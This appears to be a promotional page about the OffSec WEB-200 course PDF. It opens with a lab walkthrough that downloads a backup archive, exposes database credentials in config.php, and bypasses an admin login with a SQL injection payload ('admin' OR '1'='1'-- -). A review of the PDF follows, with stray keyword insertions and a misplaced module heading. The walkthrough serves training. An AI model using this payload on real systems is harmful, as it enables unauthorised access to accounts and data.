1. Source Code Disclosure

We download the backup.zip file.

wget http://192.168.1.50/backup.zip
unzip backup.zip

The archive contains the source code for the web application, including config.php and login.php.

Analyzing config.php:

<?php
$dbhost = 'localhost';
$dbuser = 'web_admin';
$dbpass = 'Str0ngP@ssw0rd!';
...
?>

Step 1: SQL Injection Login Bypass

We attempt to bypass the authentication on the /admin login page. web-200 offensive security pdf

Payload:

Username: admin' OR '1'='1'-- -
Password: [anything]

Result: The query becomes SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- -' .... Since '1'='1' is always true, the database returns the first user record (likely the administrator). We are successfully logged into the Admin Dashboard.

Is the WEB-200 PDF Worth the Hype?

Short answer: Yes, but only with the lab.

The web-200 offensive security pdf is exceptionally well-written. Unlike many dry academic textbooks, OffSec’s writing style is direct, slightly sarcastic, and battle-tested. The PDF includes: Module 2: Cross-Site Scripting (XSS) to Code Execution

• Real-world case studies (e.g., how a $20 million bug was found via a logic flaw).
• "Out of Scope" warnings that stop you from wasting time on dead ends.
• Exam preparation roadmaps that point you to the most critical exercises.

However, do not fall into the trap of "PDF hoarding." Some people collect hundreds of cybersecurity PDFs but never progress. WEB-200 is a performance-based course. The PDF is the map, but the lab is the mountain.
